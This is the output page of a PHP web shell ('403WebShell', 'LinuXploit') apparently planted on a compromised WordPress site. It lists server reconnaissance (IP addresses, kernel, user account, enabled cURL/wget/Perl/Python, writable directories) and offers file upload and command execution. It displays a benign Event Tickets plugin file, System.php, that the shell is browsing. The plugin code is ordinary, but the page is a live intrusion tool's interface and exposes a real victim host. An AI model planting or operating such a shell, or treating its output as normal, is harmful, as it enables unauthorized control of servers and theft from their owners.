Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.56.125
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/REST/V1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/REST/V1/System.php
<?php


/**
 * Class Tribe__Tickets__REST__V1__System
 *
 * Handles scanning and asserting the current WordPress installation support of
 * ET REST API.
 */
class Tribe__Tickets__REST__V1__System extends Tribe__REST__System {

	/**
	 * @var string The name of the option that enables or disables the ET REST API support.
	 */
	protected static $disable_option_name = 'et-rest-v1-disabled';

	/**
	 * Whether ET REST API is supported by the WP installation or not.
	 *
	 * @since 4.7.5
	 *
	 * @return bool
	 */
	public function supports_et_rest_api() {
		return $this->supports_wp_rest_api();
	}

	/**
	 * Whether Event Tickets REST API is enabled or not for the WP installation.
	 *
	 * @since 4.7.5
	 *
	 * @return bool
	 */
	public function et_rest_api_is_enabled() {
		$enabled = $this->supports_et_rest_api() && false == tribe_get_option( self::$disable_option_name );

		/**
		 * Filters whether ET REST API is enabled or not for the WP installation.
		 *
		 * @since 4.7.5
		 *
		 * @param bool $enabled
		 */
		return apply_filters( 'tribe_tickets_rest_api_enabled', $enabled );
	}


	/**
	 * Returns the name of the option used to indicate whether ET REST API is enabled or not for
	 * the WP installation.
	 *
	 * The option is stored in Event Tickets options database record: use `tribe_get_option()`
	 * to get it.
	 *
	 * @since 4.7.5
	 *
	 * @return string
	 */
	public static function get_disable_option_name() {
		return self::$disable_option_name;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit